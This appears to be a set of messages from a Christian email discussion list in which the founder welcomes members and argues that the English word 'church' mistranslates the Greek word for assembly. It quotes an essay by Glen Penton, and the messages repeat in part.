One of my major quests for most of my adult life has been to understand what
the missing elements are and to be made aware of those things that God never
intended to be a part of the Christian experience. I wish I could say that I
now have the answers and am ready to began my ministry to the lost souls who
are wondering aimlessly within the restricting confines of the institutional
church.  The reality is that after all this searching and seeking God on
these matters I sometimes feel like I understand less now then when I
started. In other words, I did not start this list so I can share my vast
wisdom on the subject. On the contrary. I'm here to learn and have my ideas
sharpened and honed until they do actually began to align with God's true
plan for the body of Christ.

And that is the bottom line. I think the body of Christ, in all its intended
fullness, is God's answer to everyone of our earthly woes. I think God
intends it to be a little taste of what the fullness of his kingdom will be.

I was just thinking of this on the way home from work tonight. When I'm on
my way home I'm always excited because I know that there I will find peace,
love, joy, and meaningful Christ centered relationships with my wife and
kids. Don't get me wrong, we are far from the perfect family, but of all the
places I can be this is the most perfect, the most like God intends our
lives to be. Indeed, my family is truly a part of the body in and of itself.

When it comes right down to it this is what we are all looking for in our
relationships with other believers. We long for this level of fellowship
with those we meet with on a regular basis. But I wonder if the problem is
that we are unwilling to pay the price. Honestly, I'm not sure I am. When I
think about what it took to build the type of relationship my wife and I
have. Oh my! It was painful, and time consuming, and rocky, and downright
ugly at times (still is, sometimes). This is the scary part of it for me. I
think I am beginning to understand just what it will take to pull out of the
Christian Ghetto. Maybe the problem is my flesh is resistant to the idea
because I know what the cost will be. Perhaps that's why we build big
institutions and big buildings, and hire professional pastors. We would
rather do all these things because they are easier then become a meaningful
part of each others lives.

At any rate, some more food for thought there, but I did want to open up the
discussion concerning the word "church."

From what I have been able to discern the word "church," and this should be
obvious, was first used to describe a building or a religious institutional
structure. The reason this should be obvious is in how it is still used
today. Most non-Christians have no understanding of the two intended
meanings of the word. When they hear the word they either picture an
institution like the Catholic "church" or a building of some religious
significances that they pass everyday on their way to work. Unless they have
had some type of biblically based education they have no concept whatsoever
of the body of Christ.

I would like to paste in something I found on a Christian Jewish site that
accurately traces what the meaning of the original Greek word was as apposed
to what it has become.

********
by Glen Penton

        When Yeshua and His early followers began to refer to the Body of
believers, they needed some word to refer to it. The word the Holy Spirit
        chose is translated "church" in most translations of the New Covenant
portion of the Scriptures into English, but when Yeshua and His apostles
        were teaching, neither the New Testament, nor the Christian religion,
nor the English language, nor the word "church" existed yet. The New
        Covenant was written in Greek, the language of most of the Jewish
People in that part of the world at that time. At least three Greek words
were
        available: eccleesea, synagogy, and keenonea. (The latter is a common
word in the Greek language of that time, often translated into English as
        "fellowship".) The Holy Spirit chose the word eccleesea.

                                                               Why?
                                                   I suggest the following
five reasons:

     1.He could have coined a new word, but He didn't. He used a word already
full of meaning to the Jews of that time. The non-technical Hebrew word
qahal
        (meaning "a gathering") is used in the Hebrew Scriptures with
technical religious meanings, such as, "a congregation," "the People of
Israel," and "the
        gathering of all Israel in Jerusalem for holiday worship." When Jews
spoke Greek and translated the Hebrew word qahal, they always used the Greek
        word eccleesea. Christian translators of the New Testament should
preserve the Holy Spirit's message by avoiding altogether the use of the
Christian
        technical religious term "church" in their translations, and use
whatever word they use to translate qahal from the Hebrew Scriptures
("assembly,"
        "community," "congregation" or the like in English). This
co-operation with the Spirit would short-circuit a lot of un-Biblical
theology that tries to find
        conflicts between the Old and New Testaments. Some places where the
choice to translate eccleesea as "church" in the New Covenant logically
demands
        the same translation of qahal in the Hebrew Scriptures, are
Deuteronomy 9:10, 10:4, 18:16, Psalms 22:22 and 25, 35:18, 40:9-10, 89:5,
107:32, and
        149:1.
     2.Eccleesea seems to have had more dignified connotations than its
synonym, synagoggy. For example, in the Greek translation of the Hebrew
Scriptures,
        the Septuagint (abbreviated LXX), synagoggy usually refers to the
motley, disorganized band of ex-slaves that was Israel in Moses' time,
whereas
        qahal>eccleesea is more often the religious-national gatherings of
later Israel.
     3.Among Jews of that time, the word synagoggy was well on its way to
evolving the same meanings as the modern English word "synagogue." If the
early
        church had used that word, it could have implied that they were in
competition with already-existing Jewish religious organizations. They were
not. Those
        early Christians were loyal Jews who worshipped God in the Jerusalem
Temple and in synagogues on Saturday along with the other Jews.
     4.Among Jews of that time, the Greek words synagoggy, keenonea, and
ayresees (from which we get our English word "heresy.") were sometimes used
to
        refer to the various denominations within Judaism. Use of any of
those terms by the early Christians might have suggested a
self-understanding as "just
        another Jewish denomination." While Christianity in those days
certainly was a new Jewish denomination, and that fact was obvious to
everybody, it was
        far more than that. For exactly the same reason, the same Holy Spirit
Who lead the early church AWAY from such terminology now leads modern
        Messianic Jews TO USE terms like "synagogue" precisely because so
many Jews today don't recognize Messianic Judaism as Jewish.
     5.Among non-Jews of the time, synagoggy and keenonea probably would have
had some religious connotations, while eccleesea probably would not.
        Using a non-religious term probably avoided both unnecessary
persecution and a too-easy confusion of Christianity and paganism. Such
confusion is
        exactly what happened after the apostles died.

To read more: http://www.mindspring.com/~abe3/messianic/church.html
*******

When William Tyndale first translated the scriptures into English he did
indeed use the word "congregation" and in fact never uses the word "church"
at all when referring to anything to do with the body of Christ. I am pretty
much convinced that the King James scholars chose the word "church" instead
because they wanted to toe the old ecclesiastical line and help maintain the
Churches (in this case the Church of England) platform of power. So now the
word is grounded into our psyches, yet I feel that the word is wrong and
that using it creates much confusion.

What I  would like to ask you guys is: Well, first of all, do you agree that
the word is a mistake, and secondly if you do agree that it is a mistake is
it worth making it an issue? I admit that this is an uphill climb of
unfathomable heights made clear by the fact that even the author of the
piece you just read used the word at least two times in the very way he had
determined was wrong. I myself have tried to stop using it. I'm getting
better but it still slips out once in a while. Is it worth it or am I just a
dreamer? If Christians did actually stop using, or should I say misusing the
word, would it make a real difference, or would we continue to play the same
games?

My contention is that the paradigm shift necessary to stop people from
misusing this word would ultimately result in much needed reform. In other
words the confusion surrounding this word is part of the very core of
Christianities problems. If we get rid of the word we get rid of the
confusion and vice versa. The two go hand in hand.

First of all I want to thank all of you who have signed up to participate in
this discussion and to say welcome. I trust that this will be a time of
growth for all those who take part.

I would like to start things rolling with a brief testimony of how and why I
decided to start the Christian Ghetto discussion list.

I've been a Christian all my life and have been involved in various
"churches" of all stripes and denominations. But even at a young age I was
made aware of the fact that there were things missing in the religious
structure around me. Maybe even more troubling was the fact that there
seemed to be a lot of things added on to this "structure" that seemed to
distract from the fundamental reality of being a part of the body of Christ.

One of my major quests for most of my adult life has been to understand what
the missing elements are and to be made aware of those things that God never
intended to be a part of the Christian experience. I wish I could say that I
now have the answers and am ready to began my ministry to the lost souls who
are wondering aimlessly within the restricting confines of the institutional
church.  The reality is that after all this searching and seeking God on
these matters I sometimes feel like I understand less now then when I
started. In other words, I did not start this list so I can share my vast
wisdom on the subject. On the contrary. I'm here to learn and have my ideas
sharpened and honed until they do actually began to align with God's true
plan for the body of Christ.

And that is the bottom line. I think the body of Christ, in all its intended
fullness, is God's answer to everyone of our earthly woes. I think God
intends it to be a little taste of what the fullness of his kingdom will be.

I was just thinking of this on the way home from work tonight. When I'm on
my way home I'm always excited because I know that there I will find peace,
love, joy, and meaningful Christ centered relationships with my wife and
kids. Don't get me wrong, we are far from the perfect family, but of all the
places I can be this is the most perfect, the most like God intends our
lives to be. Indeed, my family is truly a part of the body in and of itself.

When it comes right down to it this is what we are all looking for in our
relationships with other believers. We long for this level of fellowship
with those we meet with on a regular basis. But I wonder if the problem is
that we are unwilling to pay the price. Honestly, I'm not sure I am. When I
think about what it took to build the type of relationship my wife and I
have. Oh my! It was painful, and time consuming, and rocky, and downright
ugly at times (still is, sometimes). This is the scary part of it for me. I
think I am beginning to understand just what it will take to pull out of the
Christian Ghetto. Maybe the problem is my flesh is resistant to the idea
because I know what the cost will be. Perhaps that's why we build big
institutions and big buildings, and hire professional pastors. We would
rather do all these things because they are easier then become a meaningful
part of each others lives.

At any rate, some more food for thought there, but I did want to open up the
discussion concerning the word "church."

From what I have been able to discern the word "church," and this should be
obvious, was first used to describe a building or a religious institutional
structure. The reason this should be obvious is in how it is still used
today. Most non-Christians have no understanding of the two intended
meanings of the word. When they hear the word they either picture an
institution like the Catholic "church" or a building of some religious
significances that they pass everyday on their way to work. Unless they have
had some type of biblically based education they have no concept whatsoever
of the body of Christ.

I would like to paste in something I found on a Christian Jewish site that
accurately traces what the meaning of the original Greek word was as apposed
to what it has become.

********
by Glen Penton

        When Yeshua and His early followers began to refer to the Body of
believers, they needed some word to refer to it. The word the Holy Spirit
        chose is translated "church" in most translations of the New Covenant
portion of the Scriptures into English, but when Yeshua and His apostles
        were teaching, neither the New Testament, nor the Christian religion,
nor the English language, nor the word "church" existed yet. The New
        Covenant was written in Greek, the language of most of the Jewish
People in that part of the world at that time. At least three Greek words
were
        available: eccleesea, synagogy, and keenonea. (The latter is a common
word in the Greek language of that time, often translated into English as
        "fellowship".) The Holy Spirit chose the word eccleesea.

                                                               Why?
                                                   I suggest the following
five reasons:

     1.He could have coined a new word, but He didn't. He used a word already
full of meaning to the Jews of that time. The non-technical Hebrew word
qahal
        (meaning "a gathering") is used in the Hebrew Scriptures with
technical religious meanings, such as, "a congregation," "the People of
Israel," and "the
        gathering of all Israel in Jerusalem for holiday worship." When Jews
spoke Greek and translated the Hebrew word qahal, they always used the Greek
        word eccleesea. Christian translators of the New Testament should
preserve the Holy Spirit's message by avoiding altogether the use of the
Christian
        technical religious term "church" in their translations, and use
whatever word they use to translate qahal from the Hebrew Scriptures
("assembly,"
        "community," "congregation" or the like in English). This
co-operation with the Spirit would short-circuit a lot of un-Biblical
theology that tries to find
        conflicts between the Old and New Testaments. Some places where the
choice to translate eccleesea as "church" in the New Covenant logically
demands
        the same translation of qahal in the Hebrew Scriptures, are
Deuteronomy 9:10, 10:4, 18:16, Psalms 22:22 and 25, 35:18, 40:9-10, 89:5,
107:32, and
        149:1.
     2.Eccleesea seems to have had more dignified connotations than its
synonym, synagoggy. For example, in the Greek translation of the Hebrew
Scriptures,
        the Septuagint (abbreviated LXX), synagoggy usually refers to the
motley, disorganized band of ex-slaves that was Israel in Moses' time,
whereas
        qahal>eccleesea is more often the religious-national gatherings of
later Israel.
     3.Among Jews of that time, the word synagoggy was well on its way to
evolving the same meanings as the modern English word "synagogue." If the
early
        church had used that word, it could have implied that they were in
competition with already-existing Jewish religious organizations. They were
not. Those
        early Christians were loyal Jews who worshipped God in the Jerusalem
Temple and in synagogues on Saturday along with the other Jews.
     4.Among Jews of that time, the Greek words synagoggy, keenonea, and
ayresees (from which we get our English word "heresy.") were sometimes used
to
        refer to the various denominations within Judaism. Use of any of
those terms by the early Christians might have suggested a
self-understanding as "just
        another Jewish denomination." While Christianity in those days
certainly was a new Jewish denomination, and that fact was obvious to
everybody, it was
        far more than that. For exactly the same reason, the same Holy Spirit
Who lead the early church AWAY from such terminology now leads modern
        Messianic Jews TO USE terms like "synagogue" precisely because so
many Jews today don't recognize Messianic Judaism as Jewish.
     5.Among non-Jews of the time, synagoggy and keenonea probably would have
had some religious connotations, while eccleesea probably would not.
        Using a non-religious term probably avoided both unnecessary
persecution and a too-easy confusion of Christianity and paganism. Such
confusion is
        exactly what happened after the apostles died.

To read more: http://www.mindspring.com/~abe3/messianic/church.html
*******

When William Tyndale first translated the scriptures into English he did
indeed use the word "congregation" and in fact never uses the word "church"
at all when referring to anything to do with the body of Christ. I am pretty
much convinced that the King James scholars chose the word "church" instead
because they wanted to toe the old ecclesiastical line and help maintain the
Churches (in this case the Church of England) platform of power. So now the
word is grounded into our psyches, yet I feel that the word is wrong and
that using it creates much confusion.

What I  would like to ask you guys is: Well, first of all, do you agree that
the word is a mistake, and secondly if you do agree that it is a mistake is
it worth making it an issue? I admit that this is an uphill climb of
unfathomable heights made clear by the fact that even the author of the
piece you just read used the word at least two times in the very way he had
determined was wrong. I myself have tried to stop using it. I'm getting
better but it still slips out once in a while. Is it worth it or am I just a
dreamer? If Christians did actually stop using, or should I say misusing the
word, would it make a real difference, or would we continue to play the same
games?

My contention is that the paradigm shift necessary to stop people from
misusing this word would ultimately result in much needed reform. In other
words the confusion surrounding this word is part of the very core of
Christianities problems. If we get rid of the word we get rid of the
confusion and vice versa. The two go hand in hand.

Welcome all of you who have joined the Christian Ghetto discussion list. I'm
waiting for others who I know are planning to join before we start.

While you wait here is a question Iv'e been wondering a lot about lately.
From what source does the English word "church" come from, and is it an
accurate translation from the Greek? When we use the word does it create the
same mind picture that the equivalent Greek word produced in the New
Testament believers? Hmmmm

Roy